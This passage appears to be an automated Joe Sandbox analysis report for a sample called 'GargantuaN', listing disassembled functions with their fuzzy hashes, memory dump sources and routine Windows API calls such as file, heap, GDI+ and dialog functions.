Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: e5ce015e6b4d1a9922044ea3b50a61d849995a412eafac7d47c36f1e82357b5f
Instruction ID: 818af13f8f9869d2283e5111894b423f4284b5801d61a46b3ec8e08973638676
Opcode Fuzzy Hash: e5ce015e6b4d1a9922044ea3b50a61d849995a412eafac7d47c36f1e82357b5f
Instruction Fuzzy Hash: 09311476904209ABCF11DF98C945AAEBBF6EF08300F2440A9FC45A7251CB365E48CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D59DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00D573BC,?,?,?,00000000), ref: 00D59DBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00D59E70

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 37ddd9c5cb32483e438fbb144f456f16fd14ca613b3cfddf6bf87d33aa30db1e
Instruction ID: 64a5e54c3753385b503079f13454e6cda2060679a3fbc8aac653aa211a8fa11a
Opcode Fuzzy Hash: 37ddd9c5cb32483e438fbb144f456f16fd14ca613b3cfddf6bf87d33aa30db1e
Instruction Fuzzy Hash: FE21BF31249245DBCB14CE64C4A2AAAFBE8AF55705F08491DFCC587191D339E90D9B71

Uniqueness

Uniqueness Score: -1.00%

Function 00D5966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00D59F27,?,?,00D5771A), ref: 00D596E6
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00D59F27,?,?,00D5771A), ref: 00D59716

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1416dbd5b972fc56da46f0501139917b77ca37705e6c564049642dfbf7d88c93
Instruction ID: 85b3e0d5a281144bddc013e17ad8d51658affb5696383f303e4ee957b8c91d86
Opcode Fuzzy Hash: 1416dbd5b972fc56da46f0501139917b77ca37705e6c564049642dfbf7d88c93
Instruction Fuzzy Hash: A521CF71100344AFE7308A65CC89BA7B7DCEB49326F040A19FED6C61D1C7B8A8889671

Uniqueness

Uniqueness Score: -1.00%

Function 00D59E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00D59EC7
GetLastError.KERNEL32 ref: 00D59ED4

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 37aa7196f2ad1a5ba2d2a5374b9ee5d1fb66fea755e9d83f4b0e56e7eb5ada18
Instruction ID: f4c9118f0d2238143ebc926a61a17b6af17336b7e25c4c326c589d3152848337
Opcode Fuzzy Hash: 37aa7196f2ad1a5ba2d2a5374b9ee5d1fb66fea755e9d83f4b0e56e7eb5ada18
Instruction Fuzzy Hash: C011C231601700EBDB24C628C856BAAF7E9AB45362F644A29FD53D26D0D7B0ED4DC770

Uniqueness

Uniqueness Score: -1.00%

Function 00D78E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D78E75

Part of subcall function 00D78E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D7CA2C,00000000,?,00D76CBE,?,00000008,?,00D791E0,?,?,?), ref: 00D78E38

HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,00D91098,00D517CE,?,?,00000007,?,?,?,00D513D6,?,00000000), ref: 00D78EB1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 82ed6a265d47e30eb230fa5133e39cea01f945809dd0c6e41420b083df676756
Instruction ID: 9256cb8021f0a4b34e557f75aceb77f91ed9ad0daba2687b85af482f34489c89
Opcode Fuzzy Hash: 82ed6a265d47e30eb230fa5133e39cea01f945809dd0c6e41420b083df676756
Instruction Fuzzy Hash: F8F09632681215AADB212A259C0DB6F7758CF91B70F68D126F86CAA191FF72DD00B1B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00D610AB
GetProcessAffinityMask.KERNEL32(00000000), ref: 00D610B2

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 08292bcad211cc9a586062cf0c8d12afed2dbcb29d46074821ed5a3b47b5b776
Instruction ID: ee9df6a5b61d4eeb47e3b9d2b3619533bee91f5f937a1147dd79400ac77c103d
Opcode Fuzzy Hash: 08292bcad211cc9a586062cf0c8d12afed2dbcb29d46074821ed5a3b47b5b776
Instruction Fuzzy Hash: 08E0DF3AF10249A7CF098BB89C058EB73EDEA4420432C8179E403E3241FA30EE424BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D5A4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00D5A325,?,?,?,00D5A175,?,00000001,00000000,?,?), ref: 00D5A501

Part of subcall function 00D5BB03: _wcslen.LIBCMT ref: 00D5BB27

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00D5A325,?,?,?,00D5A175,?,00000001,00000000,?,?), ref: 00D5A532

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 2147c2512a632caf3a2e4973b2679c27e0ccde624a8b7f4dfed086eb35c30563
Instruction ID: 79077a60f6251482c8bb05f0fd4f16f7daa2f958c357b5cc855fe078ba02c48e
Opcode Fuzzy Hash: 2147c2512a632caf3a2e4973b2679c27e0ccde624a8b7f4dfed086eb35c30563
Instruction Fuzzy Hash: 8BF03932250219BBDF015F64DC45FDE376CAB04786F488462BD49E6260EB71DA98EB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D5A1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,00D5977F,?,?,00D595CF,?,?,?,?,?,00D82641,000000FF), ref: 00D5A1F1

Part of subcall function 00D5BB03: _wcslen.LIBCMT ref: 00D5BB27

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00D5977F,?,?,00D595CF,?,?,?,?,?,00D82641), ref: 00D5A21F

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: a54fc7e70cacec6663d2c92de34bcafe50687a6ae05e07acd7512cbd2d6578f7
Instruction ID: 92e610284b769288e298b89f30794839b5873336b8f033c02230e15cf90d026c
Opcode Fuzzy Hash: a54fc7e70cacec6663d2c92de34bcafe50687a6ae05e07acd7512cbd2d6578f7
Instruction Fuzzy Hash: F7E092351502196BDF019F64EC46FD9375CAF08787F484021BD48D2150EB61DE98EB74

Uniqueness

Uniqueness Score: -1.00%

Function 00D6AC7C Relevance: 3.0, APIs: 2, Instructions: 26comCOMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00D82641,000000FF), ref: 00D6ACB0
OleUninitialize.OLE32(?,?,?,?,00D82641,000000FF), ref: 00D6ACB5

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 9b397629d2386404bb2d662cb563c25bd946192f273be1c4719137cb61434f92
Instruction ID: ea404bcac40fc5ece7bbd9baf9dac85acdc4b86ffa31e38f26d5c47b94d2de2c
Opcode Fuzzy Hash: 9b397629d2386404bb2d662cb563c25bd946192f273be1c4719137cb61434f92
Instruction Fuzzy Hash: 27E03972604650EFCA01AB5CDC06B49FBA9FB88B20F00426AA416D37A0CB74A800CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D5A243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00D5A23A,?,00D5755C,?,?,?,?), ref: 00D5A254

Part of subcall function 00D5BB03: _wcslen.LIBCMT ref: 00D5BB27

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00D5A23A,?,00D5755C,?,?,?,?), ref: 00D5A280

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 110860b966effc5b5aa632c38b3e84d3e9c4128abb564195215ca4e1cb5110c7
Instruction ID: 97533008747123d4941170d883b9eecf8dbf80c0a7ee271213ed85883ab72fdb
Opcode Fuzzy Hash: 110860b966effc5b5aa632c38b3e84d3e9c4128abb564195215ca4e1cb5110c7
Instruction Fuzzy Hash: 7AE06D355002285BCF10AB68CC05BDD7B58AB087E2F044261BD48E7290D6709E488AB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6DEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D6DEEC

Part of subcall function 00D54092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D540A5

SetDlgItemTextW.USER32(00000065,?), ref: 00D6DF03

Part of subcall function 00D6B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D6B579
Part of subcall function 00D6B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D6B58A
Part of subcall function 00D6B568: IsDialogMessageW.USER32(0002047E,?), ref: 00D6B59E
Part of subcall function 00D6B568: TranslateMessage.USER32(?), ref: 00D6B5AC
Part of subcall function 00D6B568: DispatchMessageW.USER32(?), ref: 00D6B5B6

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: f50249bf15cb46935f078ee367cc422a8f6cd0359799932e525bc34a208b6fee
Instruction ID: 85d80a92d09fb9c05f13ade361584e4dfbb7ad4cf5e1e00bc8ee7a5979d72210
Opcode Fuzzy Hash: f50249bf15cb46935f078ee367cc422a8f6cd0359799932e525bc34a208b6fee
Instruction Fuzzy Hash: 4DE09B7640434866DF01A764DC06FDE376C9F057C5F040852B601D71B2E974D6549772

Uniqueness

Uniqueness Score: -1.00%

Function 00D6081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D60836
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00D5F2D8,Crypt32.dll,00000000,00D5F35C,?,?,00D5F33E,?,?,?), ref: 00D60858

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 18d246545349eb22e91999c5f1c0dfb2621323f491da9bbda120b69436e66360
Instruction ID: be3b566de8527d9b4a567871b241fd377a429d172d841c0151724b33341bfca9
Opcode Fuzzy Hash: 18d246545349eb22e91999c5f1c0dfb2621323f491da9bbda120b69436e66360
Instruction Fuzzy Hash: 07E048764102586BDF11AB94DC05FDB7BACEF097D1F0400657A49D2104E674DA84CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 00D6A3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00D6A3DA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00D6A3E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 511e6508b725c6d1a18de41e92d339a27222214aae5a383e1810fcf25d2a22c2
Instruction ID: 0eb1ed956be79c1796a53e867dcd853877df6f190c772edf370c1087ee7a2906
Opcode Fuzzy Hash: 511e6508b725c6d1a18de41e92d339a27222214aae5a383e1810fcf25d2a22c2
Instruction Fuzzy Hash: 3DE0ED75500218EFCB10DF99C941A99BBE8EB04360F10805AA896A3301E374AE04DFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D72B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D72BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00D72BB5

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 6a80a5bfeb9645aebd49213c2178108b4e1c30d7fe7483431d6ac10bbbd71d7c
Instruction ID: 2aee778a7928ed357a8b19036a50221b43712ec5c3dca2d8864c901b6ee09b20
Opcode Fuzzy Hash: 6a80a5bfeb9645aebd49213c2178108b4e1c30d7fe7483431d6ac10bbbd71d7c
Instruction Fuzzy Hash: 34D022352643801C4E243E702C034BA3355EE82B707F0D29AF02CC58CDFF109048B231

Uniqueness

Uniqueness Score: -1.00%

Function 00D512F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00D51306
ShowWindow.USER32(00000000), ref: 00D5130D

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 346871765eba561b0b35491958c567a75de567813b69ff3544ab1f6e452691fd
Instruction ID: d5a71f7236fc0d42c94448f3764ebce5c16913b3b5162a563d4055e2f6c8e4b0
Opcode Fuzzy Hash: 346871765eba561b0b35491958c567a75de567813b69ff3544ab1f6e452691fd
Instruction Fuzzy Hash: 4EC0123205C300FECB010BB8DC09C2FBBACABA5312F04CA08F0A5C0260C238C120EB21

Uniqueness

Uniqueness Score: -1.00%

Function 00D51A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D51A09

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 0a20f87e75dfe1ec8a2e462fd64e32c1dc24c30807ecdd2eeca817844c060751
Instruction ID: 6df20726383d46db5681b45730b934f1553485ed936ca48543a88a6041bc9200
Opcode Fuzzy Hash: 0a20f87e75dfe1ec8a2e462fd64e32c1dc24c30807ecdd2eeca817844c060751
Instruction Fuzzy Hash: D9C1B078A00254AFEF15CF68C484BB97BA5EF16311F0801BAEC45DB392DB319948CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D53BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D53BBF

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 5d3cb039f86c86fd4c2be105b00e086f147b0d288c32fadbcad03408e71a996d
Instruction ID: 380cc4f6a303a39081de2e0249b26732b00b149193eae3c441bec208019e1bf0
Opcode Fuzzy Hash: 5d3cb039f86c86fd4c2be105b00e086f147b0d288c32fadbcad03408e71a996d
Instruction Fuzzy Hash: 9F71A071500B449EDF25DB74C8519EBB7E9EB14342F44092EFDAB87241EA326688DF31

Uniqueness

Uniqueness Score: -1.00%

Function 00D58284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D58289

Part of subcall function 00D513DC: __EH_prolog.LIBCMT ref: 00D513E1

Part of subcall function 00D5A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00D5A598

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
